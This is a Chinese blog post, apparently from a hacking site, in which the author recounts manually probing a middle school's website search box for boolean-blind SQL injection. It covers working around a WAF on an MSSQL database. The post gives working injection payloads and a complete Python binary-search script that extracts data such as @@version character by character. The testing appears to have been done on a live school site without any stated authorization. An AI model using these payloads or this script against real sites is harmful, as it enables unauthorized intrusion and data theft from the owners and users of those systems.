您的位置 首页 网络安全

SQL注入-BOOL盲注-一个小细节

不会用工具的我,只能慢慢手动测试。 测试某中学发现的一个容易被忽略的注入点 一如既往的在输入框搜索,得到的结果…

不会用工具的我,只能慢慢手动测试。

测试某中学发现的一个容易被忽略的注入点

一如既往的在输入框搜索,得到的结果蛮多

注入怎么能不试试单引号呢,于是测试单引号,没有报错,没有关系

闭合测试,鱼鱼鱼,回显不一样了,小细节

于是继续尝试发现 select 不加参数不会被ban加参数就被ban,有waf

那就单独用,测试发现是mssql数据库,因为ban了 waitfor delay

又经过手工测试发现一些没被ban的函数

1')and (ascii(substring('a',1,1))=97)--+

之所以喜欢这么用是为了写二分法脚本做准备,手动测试出了数据库名称第一个字符

于是开始编写脚本 payload…

经过测试与atao师傅交流,才得出一个运行正常的payload

1')and (ascii(substring(({content}),{i},1))-{mid})<1--+

完整脚本如下

# -*- coding:utf-8 -*-
import requests

url = "ip:/???Text="

def main():
    result = ""
    for i in range(1, 200):
        low = 31
        high = 128
        while low < high:
            mid = int((low + high) / 2)
            content = "@@version"
            sql = f"1')and (ascii(substring(({content}),{i},1))-{mid})<1--+"
            payload = url+sql
            response = requests.get(url=payload)
            if "共18条数据" in response.text:
                high = mid
            else:
                low = mid + 1
            print("[+] After changing we got {} to {}".format(low, high))
        if low == high == 128 or low == high == 31:
            print("[*] Result is: {}".format(result))
            break
        print("[+] Now has {}".format(i))
        result += chr(int((high + low) / 2))
        print("[*] Result now is: {}".format(result))

if __name__ == '__main__':
    main()

运行结果

本文来自网络,不代表F12sec立场,转载请注明出处:http://www.0dayhack.net/index.php/1724/
spaceman

作者: spaceman

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

CAPTCHAis initialing...
联系我们

联系我们

QQ群:884338047

在线咨询: QQ交谈

邮箱: 2676666667@qq.com

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部